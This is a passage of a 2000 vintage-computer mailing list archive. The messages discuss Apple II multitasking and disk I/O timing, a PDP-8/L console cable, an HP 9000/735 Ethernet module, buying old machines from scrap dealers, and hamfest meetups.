Then went on to do Atari BASIC and Atari DOS and many other pieces of software for Atari. I also have a copy of CP/A+ which is an Apple II OS they wrote which is very similar to their OS/A+ for the Atari. I've always had a thing for collecting odd-ball operating systems. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From korpela at albert.ssl.berkeley.edu Thu May 18 11:28:24 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> from Richard Erlacher at "May 18, 2000 07:10:47 am" Message-ID: <200005181628.JAA12478@islay.ssl.berkeley.edu> > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. I don't think this is particularly a problem on the Apple ][ series. IIRC, all I/O is CPU intensive, so giving up the CPU during I/O will likely cause the I/O to fail. Am I getting old? The details of the Disk ][ interface are only faintly registering on my brain. Wasn't the input a bit at a time with a software wait between bits, or am I confusing that with the tape interface with its half-hardware/half-software 1-bit ADC? Of course, none of this is a concern with cooperative multitasking of BASIC programs but if someone implements an interupt generator on a ][ for multitasking purposes, it could become a concern. Eric From foo at siconic.com Thu May 18 10:40:44 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <3923CEAA.27410.7B8941@localhost> Message-ID: On Thu, 18 May 2000, David Williams wrote: > for Atari. I also have a copy of CP/A+ which is an Apple II OS they > wrote which is very similar to their OS/A+ for the Atari. I've always Ooh! I'd love to get a copy of that! Can you ShrinkIt and e-mail it to me?? From allisonp at world.std.com Thu May 18 11:41:32 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181325.JAA32434@armigeron.com> Message-ID: > Generally in a multitasking system with timeslicing, there are two queues > (or lists)---one for processes that are running, and another one for > processes that are waiting for something (usually I/O to complete). The > code that manages the tasks take the next task on the run queue and > dispatch it. That is one way. the other is one task list with a bitwise flag indicating that tasks status. A task is removed from the list when complete and entered on the list at startup. The first(or last) task on the list is one permanent one usually a null task. The priority can be stored in the tasklist as well (if not round robin). I did this on my first z80 multitasking system. The task list included queued IO as well so that things like testing to see if a task could continue from a blocked-IO state was possible. Allison From allisonp at world.std.com Thu May 18 11:52:36 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: > I don't think this is particularly a problem on the Apple ][ series. IIRC, > all I/O is CPU intensive, so giving up the CPU during I/O will likely cause > the I/O to fail. Am I getting old? The details of the Disk ][ interface > are only faintly registering on my brain. Wasn't the input a bit at a time > with a software wait between bits, or am I confusing that with the tape > interface with its half-hardware/half-software 1-bit ADC? Common thing with apples, many other systems that were minimalist too. Obviously for those and a great many others part of timeslicing has to be doing IO (aka an IO timeslice). This can seriously hurt system performance as you really get to see howmuch cpu is used in isolation from all the pending tasks. > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Big time. ;) Generally what seperated the generic systems of the time from those that could do serious workloads was the needed hardware support for interrupts. With even a basic periodic interrupt it was possible to do background tasks (keyboard scan, serial IO) that didn't appear to need to wait for the application. To me one of the most annoying this was waiting for it to ask for input but not accept type ahead! Allison From Innfogra at aol.com Thu May 18 12:11:12 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <7c.5b04ead.26557e30@aol.com> In a message dated 5/18/2000 8:15:03 AM Pacific Daylight Time, foo@siconic.com writes: > > What kind of truck is this? It sounds like a classic computer cornucopia. > Did this truck get into some accident on the way to the computer store or > something? > Trucks, Trailers and outbuildings are always around scrapyards. They often get filled with "low value" scrap items "junk" that the yard owner doesn't want to deal with when they come in, like terminals and printers. Some times those piles sit for years. Investigate all Shipping Containers. Sometimes they are used for storage, but most of the time they are being filled with outgoing scrap on it's way to China. If you can be there with your screwdrivers when it is being loaded sometimes you can find neat stuff. You don't want to get in the way of the loading operation, but if you have developed a relationship with the scrapper you can often cull as it is being loaded. Adopt your local scrapper. Offer twice the scrap value or more, don't get in the way and you will be, more than likely, welcome. Paxton PS. Most of the scrap going into containers brings 5 to 10 cents per pound to the dealer loading it. From rutledge at cx47646-a.phnx1.az.home.com Thu May 18 12:27:15 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:50 2005 Subject: Just when you thought it was safe... In-Reply-To: ; from James Willing on Thu, May 18, 2000 at 08:22:35AM -0700 References: <4.3.0.20000518082804.00e72e60@pc> Message-ID: <20000518102715.B12222@electron.quantum.int> On Thu, May 18, 2000 at 08:22:35AM -0700, James Willing wrote: > Be there or be asymmetrically non-orthagonal! Oh, so people who do not go are not square, so people who go are...ummm... what? :-) Round? At a hamfest, I imagine so. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From lemay at cs.umn.edu Thu May 18 12:32:34 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:50 2005 Subject: PDP 8/L console Message-ID: <200005181732.MAA06704@caesar.cs.umn.edu> My PDP 8/L that I recently acquired, has a cable that i assume is for the console terminal. It has a 9 pin male connector with only pins 1 through 6 present. Is this a standard serial connection? This was a papertape based system, so it may have been connected to a teletype ASR 33. Will I need to locate something that can do 110 baud to use as a console? Also, I'm very curious about the other cables comming from the 8/L... I have 6 flat black cables, similar to ribbon cable but thicker, with 9 'wires' on each cable. possibly each 'wire' is something similar to coax, but i'm not sure... Each pair of these ribbon-like cables go together into a centronics 36 pin male connector. thus there are 3 centronics connectors, which are labeled: "A D36", "B D35", "C D34". Any clues as to what this might be for? -Lawrence LeMay From ard at p850ug1.demon.co.uk Thu May 18 12:33:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:50 2005 Subject: Univac Lamp interesting piece In-Reply-To: <000401bfc077$05e18450$013da8c0@Corellian> from "John Lewczyk" at May 17, 0 11:13:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/15392e19/attachment-0001.ksh From dlw at trailingedge.com Thu May 18 12:40:42 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: References: <3923CEAA.27410.7B8941@localhost> Message-ID: <3923E4CA.9143.D1F90E@localhost> On 18 May 2000, at 8:40, Vintage Computer GAWD! wrote: > On Thu, 18 May 2000, David Williams wrote: > > > for Atari. I also have a copy of CP/A+ which is an Apple II OS they > > wrote which is very similar to their OS/A+ for the Atari. I've > > always > > Ooh! I'd love to get a copy of that! Can you ShrinkIt and e-mail it > to me?? > I'll see about digging it up. Since the Apple II was one of my favorites I tend to have all of my Apple stuff at home unlike some of my systems which are in storage. I can ShrinkIt but not the manuals of course. I have been thinking of scanning them though. IIRC, it came with a version of BASIC based on the version they wrote for the Atari. It might be 13 sector though, I don't recall. I'll let you know. Wait... I seem to recall it used a different layout than Apple DOS, more like the system used with the Atari DOS. 128 byte sectors as such. I also had the Apex OS with the XPL0 language. Never did get a copy of the version of Focal for Apex but I wanted it. That was 13 sector when I picked it up but I was able to hack together a 16 sector version. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From ard at p850ug1.demon.co.uk Thu May 18 12:45:20 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:50 2005 Subject: PDP 8/L console In-Reply-To: <200005181732.MAA06704@caesar.cs.umn.edu> from "Lawrence LeMay" at May 18, 0 12:32:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 885 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/99d98d8a/attachment-0001.ksh From foo at siconic.com Thu May 18 12:01:23 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: On Thu, 18 May 2000, Eric J. Korpela wrote: > I don't think this is particularly a problem on the Apple ][ series. IIRC, > all I/O is CPU intensive, so giving up the CPU during I/O will likely cause > the I/O to fail. Am I getting old? The details of the Disk ][ interface > are only faintly registering on my brain. Wasn't the input a bit at a time > with a software wait between bits, or am I confusing that with the tape > interface with its half-hardware/half-software 1-bit ADC? Woz basically left a lot to software. He figured if anything could be done in software then thjere was no need to implement it in hardware. As such, the disk reads & writes are very CPU intensive. > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Very much so. In fact it would turn this whole exercise into work, which is not fun. From paulrsm at ameritech.net Thu May 18 13:25:21 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before Message-ID: <20000518182614.SRUT6794.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Eric J. Korpela > To: classiccmp@classiccmp.org > Subject: Re: Cool AppleSoft BASIC trick I never thought of before > Date: Thursday, May 18, 2000 12:28 PM > > Of course, none of this is a concern with cooperative multitasking of BASIC > programs but if someone implements an interupt generator on a ][ for > multitasking purposes, it could become a concern. Someone did. The GEOS system came with a board that generated interrupts that you could use if you did not have an Apple II mouse card to generate the interrupts. Another interrupt generator could be a clock card. Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From ethan_dicks at yahoo.com Thu May 18 13:27:27 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:50 2005 Subject: Dayton Hamvention? Message-ID: <20000518182727.19634.qmail@web617.mail.yahoo.com> I had meant to put this up earlier this month, but better late than never. Is anyone here planning on being at the Dayton Hamvention? It is this weekend (I'll be there Friday at 08:00 if I can help it). If yes, please write me off-line and maybe we can make arrangements to have a classiccmp get-together. My memories of this question from last year was a collective and deafening "No". -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From dlinder at uiuc.edu Thu May 18 13:47:55 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:52:50 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: <3923080D.D72ECC93@cornell.edu> Message-ID: On Wed, 17 May 2000, Carlos Murillo-Sanchez wrote: > hmmm... 735's have a big multiple jumper for selecting either > the AUI or BNC connectors; was this jumper set properly? > All network cards for the 735 that I know have both BNC > and AUI (except, of course for the FDDI card). > > BTW, nice machine he got. I have several. What he's looking for is the small module that fits the main system board, not an EISA adapter. These little modules seem to come either as AUI or Thin, but not a combination. thanks for your input... - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From technoid at cheta.net Thu May 18 14:08:23 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:50 2005 Subject: Ed at CPB will be at Dayton send requests to EDCPB@email.com In-Reply-To: <20000518182727.19634.qmail@web617.mail.yahoo.com> Message-ID: <200005181906.PAA26225@lexington.ioa.net> Ed Kirby of Computer Parts Barn will be at the Dayton Hamfest. Send requests to EdCPB@email.com if you are going to be there and have a particular need. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From technoid at cheta.net Thu May 18 14:54:40 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181628.JAA12478@islay.ssl.berkeley.edu> Message-ID: <200005181959.PAA09093@lexington.ioa.net> Most other-than-IO functions performed during I/O such as graphics, sound, etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second the screen is not painted. While the 'vertical blank' was occurring you had several cpu cycles available. If you wrote very tight code you could do a lot in those few cycles. On the Atari this was accomplished by GTIA 'display lists' which are programs for the GTIA coprocessor. Can the Apple II be convinced to perform this feat? I have allways wondered but not passionatly enough to investigate about the Apple II series i/o scheme. In <200005181628.JAA12478@islay.ssl.berkeley.edu>, on 05/18/00 at 03:54 PM, "Eric J. Korpela" said: >I don't think this is particularly a problem on the Apple ][ series. >IIRC, all I/O is CPU intensive, so giving up the CPU during I/O will >likely cause the I/O to fail. Am I getting old? The details of the Disk >][ interface >are only faintly registering on my brain. Wasn't the input a bit at a >time with a software wait between bits, or am I confusing that with the >tape interface with its half-hardware/half-software 1-bit ADC? >Of course, none of this is a concern with cooperative multitasking of >BASIC programs but if someone implements an interupt generator on a ][ >for multitasking purposes, it could become a concern. >Eric -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From rigdonj at intellistar.net Thu May 18 15:12:58 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:50 2005 Subject: FA: Apple Lisa and extra Lisa keyboard Message-ID: <3.0.1.16.20000518151258.0ed70646@mailhost.intellistar.net> FS: An extra Apple Lisa that I picked up yesterday. Also see "seller's other auctions" for an extra keyboard for a Lisa. "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=335880842". From rigdonj at intellistar.net Thu May 18 15:27:31 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <7c.5b04ead.26557e30@aol.com> Message-ID: <3.0.1.16.20000518152731.458f0520@mailhost.intellistar.net> At 01:11 PM 5/18/00 EDT, you wrote: >In a message dated 5/18/2000 8:15:03 AM Pacific Daylight Time, >foo@siconic.com writes: > >> >> What kind of truck is this? It sounds like a classic computer cornucopia. >> Did this truck get into some accident on the way to the computer store or >> something? >> I missed the posting above. No, it was being used for temporary storage. I think the stuff was going to be hauled to a dump somewhere. >Trucks, Trailers and outbuildings are always around scrapyards. They often >get filled with "low value" scrap items "junk" that the yard owner doesn't >want to deal with when they come in, like terminals and printers. Some times >those piles sit for years. Yeap, that's where you find the "good" stuff. But the owners usually think that it's junk. > >Investigate all Shipping Containers. Sometimes they are used for storage, but >most of the time they are being filled with outgoing scrap on it's way to >China. If you can be there with your screwdrivers when it is being loaded >sometimes you can find neat stuff. You don't want to get in the way of the >loading operation, but if you have developed a relationship with the scrapper >you can often cull as it is being loaded. > >Adopt your local scrapper. Offer twice the scrap value or more, don't get in >the way and you will be, more than likely, welcome. > >Paxton > >PS. Most of the scrap going into containers brings 5 to 10 cents per pound to >the dealer loading it. > One of the locals gets 13 cents/pound from the Chinese. I usually pay him 30 cents/pound. That may be high but he's starting to look for stuff especially for me. Joe From lemay at cs.umn.edu Thu May 18 15:20:05 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:50 2005 Subject: PDP 8/L console In-Reply-To: from Tony Duell at "May 18, 2000 06:45:20 pm" Message-ID: <200005182020.PAA10184@caesar.cs.umn.edu> > > > > My PDP 8/L that I recently acquired, has a cable that i assume is for > > the console terminal. It has a 9 pin male connector with only pins > > 1 through 6 present. Is this a standard serial connection? This was > > What sort of connector? A DB-9 connector, but it doesnt have the 2 screws to fasten the connectors together, instead it looks like a centronics type fastening system, you know, where there would be a pair of bent-wire connectors that would snap onto a piece of metal with a V shaped notch cut, this Db-9 has those V notches on each end. Otherwise, its a standard DB-9 male connector. I snapped a couple pictures just now, take a look at http://www.itlabs.umn.edu/~lemay/pdp8l Yes, I know the front panel is a bit dirty... I just turned it on for the first time, and I'm letting it settle in. I know it has one somewhat flakey capacitor, so I'm taking it slowly at first, best to be paranoid about the power-on power surge Before you blow out the power supply, than afterwards ;) > > Most likely on a machine of that vintage, it will be a 20mA current loop. > 6 wires sounds like 3 loops -- transmit (from Teletype -> PDP8), Receive > (PDP8->tty) and reader run (PDP8->tty, turns on a relay to start the > paper tape reader, which means the system can do a primitive form of flow > control). > > The standard DEC current loop connector was a flat 8 pin mate-n-lock with > the outside 2 pins not used. The 3 loops were as above. > > > a papertape based system, so it may have been connected to a teletype > > ASR 33. Will I need to locate something that can do 110 baud to use > > as a console? > > Most likely it is 110 baud as well... > > -tony > From mikeford at socal.rr.com Thu May 18 14:57:10 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - Pomona CAL In-Reply-To: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: Just a reminder, the hamfest at Cal Poly Pomona is Saturday. http://www.qsl.net/k6agf/tcswap.html From mikeford at socal.rr.com Thu May 18 15:04:58 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:50 2005 Subject: Univac Lamp interesting piece In-Reply-To: <4.3.0.20000518082804.00e72e60@pc> References: <000401bfc077$05e18450$013da8c0@Corellian> <200005180239.WAA05469@lexington.ioa.net> Message-ID: >At 11:13 PM 5/17/00 -0400, John Lewczyk wrote: >>Even though its on epay and the reserve is $10K, this *is* an >>interesting piece. > >And the seller has those charming qualities of only being able >to type in upper case, sprinkled with spelling errors. I guess >the $10,000 price is based on a 2/3 reduction of the "former >shipping supervisor for Univac," who estimated the original >cost of goods used to construct the lamp. > >www.sanfordandson.com, indeed! > >- John That sure sounds like Barry Goetz, and he is VERY serious about his "art". From xds_sigma7 at hotmail.com Thu May 18 15:44:56 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <20000518204456.70983.qmail@hotmail.com> Umm does this mean that I get a good deal from the 55 to 60 cents a pound the scrapper I go to gives me for circut boards? Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Thu May 18 15:39:56 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <7c.5b04ead.26557e30@aol.com> Message-ID: >PS. Most of the scrap going into containers brings 5 to 10 cents per pound to >the dealer loading it. Just don't expect any of them to admit that. Straight to my face I've been told $1.50/lb for whole computer chassis. My guess is that they are getting a bit more than 10 cents though, as the last batch of "breakage" I sold to a scrapper I got 10 cents a pound for. That first transaction you make with a scrapper often drives me batty, as it sets the precedent for all future transactions. From mikeford at socal.rr.com Thu May 18 16:17:53 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:50 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <20000518204456.70983.qmail@hotmail.com> Message-ID: >Umm does this mean that I get a good deal from the 55 to 60 cents a pound >the scrapper I go to gives me for circut boards? Depends on whats on the boards. I got 40 cents for the last batch of mac II mother boards mixed with misc defectives. One of my friends got close to $1.50 for a batch of ex aerospace stuff full of neat chips etc. Anything with Weitek on it and the scrappers eyes light up. From pechter at pechter.dyndns.org Thu May 18 16:41:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:50 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: from Dan Linder at "May 18, 2000 01:47:55 pm" Message-ID: <200005182141.RAA01388@bg-tc-ppp819.monmouth.com> > On Wed, 17 May 2000, Carlos Murillo-Sanchez wrote: > > > hmmm... 735's have a big multiple jumper for selecting either > > the AUI or BNC connectors; was this jumper set properly? > > All network cards for the 735 that I know have both BNC > > and AUI (except, of course for the FDDI card). > > > > BTW, nice machine he got. I have several. > > What he's looking for is the small module that fits the main system board, > not an EISA adapter. These little modules seem to come either as AUI or > Thin, but not a combination. > > thanks for your input... > > > - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - > - Riot sounds start riots. / keep talking... - Is this a network transceiver he's talking about -- or an add-in module. The 755's I had used an EISA card and adapter for second ethernet. The 735's I've seen seem to have the network adapter on the motherboard (I thought). Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Thu May 18 15:48:19 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181959.PAA09093@lexington.ioa.net> Message-ID: On Thu, 18 May 2000 technoid@cheta.net wrote: > Most other-than-IO functions performed during I/O such as graphics, sound, > etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second > the screen is not painted. While the 'vertical blank' was occurring you > had several cpu cycles available. If you wrote very tight code you could > do a lot in those few cycles. On the Atari this was accomplished by GTIA > 'display lists' which are programs for the GTIA coprocessor. > > Can the Apple II be convinced to perform this feat? I have allways > wondered but not passionatly enough to investigate about the Apple II > series i/o scheme. The Apple ][ has an address that you can monitor that tells you when it's in the vertical blanking interval. People have done some neat stuff by timing their code around the interval, such as mixing all three graphics modes (text, lo-res and hi-res) on the same screen. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Thu May 18 17:04:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:50 2005 Subject: PDP 8/L console In-Reply-To: <200005182020.PAA10184@caesar.cs.umn.edu> from "Lawrence LeMay" at May 18, 0 03:20:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2202 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000518/dcbe5eb9/attachment-0001.ksh From korpela at albert.ssl.berkeley.edu Thu May 18 17:11:06 2000 From: korpela at albert.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005181959.PAA09093@lexington.ioa.net> from "technoid@cheta.net" at "May 18, 2000 03:54:40 pm" Message-ID: <200005182211.PAA13479@islay.ssl.berkeley.edu> > Most other-than-IO functions performed during I/O such as graphics, sound, > etcetera on the Atari 8-bits utilized the fact that for 1 60th of a second > the screen is not painted. While the 'vertical blank' was occurring you > had several cpu cycles available. If you wrote very tight code you could > do a lot in those few cycles. On the Atari this was accomplished by GTIA > 'display lists' which are programs for the GTIA coprocessor. Apple interleaved graphics output (and DRAM refresh) with CPU cycles. This works because the 6502 only performs memory accesses at very predictable times. So there are no vertical (or horizontal) blank intervals in which the CPU is not doing something else. > Can the Apple II be convinced to perform this feat? I have allways > wondered but not passionatly enough to investigate about the Apple II > series i/o scheme. In the case of disk and tape I/O, the Apple ][ is heavily dependent on instruction timing. What it comes down to, is that no interrupts can be allowed while a disk block read/write or any portion of a tape read/write is happening. It also means that a multitasking OS can't block on I/O the way a system that supported interupt driven port I/O or DMA could. I assume that this was fixed somewhere in the Apple ][ line. Perhaps in Unidisk type controllers? Eric From foo at siconic.com Thu May 18 16:44:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005182211.PAA13479@islay.ssl.berkeley.edu> Message-ID: On Thu, 18 May 2000, Eric J. Korpela wrote: > In the case of disk and tape I/O, the Apple ][ is heavily dependent on > instruction timing. What it comes down to, is that no interrupts can be > allowed while a disk block read/write or any portion of a tape read/write > is happening. It also means that a multitasking OS can't block on I/O the > way a system that supported interupt driven port I/O or DMA could. > > I assume that this was fixed somewhere in the Apple ][ line. Perhaps in > Unidisk type controllers? There was never really anything to "fix". You just don't interrupt the Apple when it's reading or writing to disk. The regular IRQ signal is turned off before a read or write with the SEI and CLI instructions. But there's no way to disable the Non Maskable Interrupt, which some hardware copy protection cracking aids gave you access to. Unless these cards did something to specifically avoid interrupting during a disk write (I always wanted one but never got around to getting one during their heyday) the results would be unpredictable. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Thu May 18 17:58:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:50 2005 Subject: PDP 8/L console In-Reply-To: <200005182020.PAA10184@caesar.cs.umn.edu> References: Message-ID: <4.1.20000518155655.03c7a2f0@mailhost.hq.freegate.com> The centronics things are connectors to the expansion bus, I believe there should be four of them (one per OMNIBUS connector). The CPU is just that, the CPU, and then there would be another box with the peripherals in it. --Chuck From rigdonj at intellistar.net Thu May 18 18:55:42 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:50 2005 Subject: rescued a beehive! Message-ID: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> Yesterday I picked up one of my more unusual finds, a Beehive MicroB terminal that looks like it's new in the box. See pictures at "http://www.intellistar.net/~rigdonj/beehive/b4.jpg" through "http://www.intellistar.net/~rigdonj/beehive/b9.jpg". You can see in picture b7 that it was still sealed up in a plastic bag inside the box. Does anyone want this? I don't need it and I don't have room to keep it. I powered it up today and it appears to work. You can see in the last picture that it does have a raster and cursor. I don't have a systemn that uses a terminal so I can't test it beyond that. The screen is normal but the camera frooze the raster in mid sweep so it appears that only half the screen has a display. Again, the screen is ok and it does have a full screen display. Youcan see the cursor in the top LH corner above the highlighted portion of the screen. If anyone is interested in it, contact me directly. It's located in central Florida. The buyer pays shipping and a modest amount for my time. Joe From transit at lerctr.org Thu May 18 17:59:20 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Thu, 18 May 2000, Vintage Computer GAWD! wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > in the vertical blanking interval. People have done some neat stuff by > timing their code around the interval, such as mixing all three graphics > modes (text, lo-res and hi-res) on the same screen. Most of these tricks were described in the following book (if you can get your hands on it, it's long since gone out of print): Lancaster, Don. Enhancing your Apple II /, by Don Lancaster ; [illustrated by T.R. Emrick]. 1st ed. Indianapolis, IN : H.W. Sams, c1982- (message from Vintage Computer GAWD! on Thu, 18 May 2000 13:48:19 -0700 (PDT)) References: Message-ID: <20000518230203.19246.qmail@brouhaha.com> Sellam wrote: > The Apple ][ has an address that you can monitor that tells you when it's > in the vertical blanking interval. Must be something they added for the //e, the ][ and ][+ certainly don't have that. From dlinder at uiuc.edu Thu May 18 19:16:28 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:52:50 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: <200005182141.RAA01388@bg-tc-ppp819.monmouth.com> Message-ID: On Thu, 18 May 2000, Bill Pechter wrote: > The 735's I've seen seem to have the network adapter on the motherboard > (I thought). It's apparently a little module that fits onto the system board (not a transceiver, at least not in the traditional sense). I'm not sure, as I haven't seen this myself. I'm just poking around for a friend. He's got one, but it seems to lose ridiculous numbers of packets. He tried a second module (not his to keep) and it worked perfect. Thus, the search for an ethernet module. - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From ard at p850ug1.demon.co.uk Thu May 18 19:24:49 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:50 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> from "Joe" at May 18, 0 06:55:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1386 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/4277028b/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 18 19:33:30 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:50 2005 Subject: WTD: HP9000/735 Ethernet Board In-Reply-To: from "Dan Linder" at May 18, 0 07:16:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1465 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/a79fcfd6/attachment-0001.ksh From dpeschel at eskimo.com Thu May 18 19:58:36 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:50 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000518230203.19246.qmail@brouhaha.com> from "Eric Smith" at May 18, 2000 11:02:03 PM Message-ID: <200005190058.RAA22971@eskimo.com> Eric Smith wrote: > Sellam wrote: > > The Apple ][ has an address that you can monitor that tells you when it's > > in the vertical blanking interval. > > 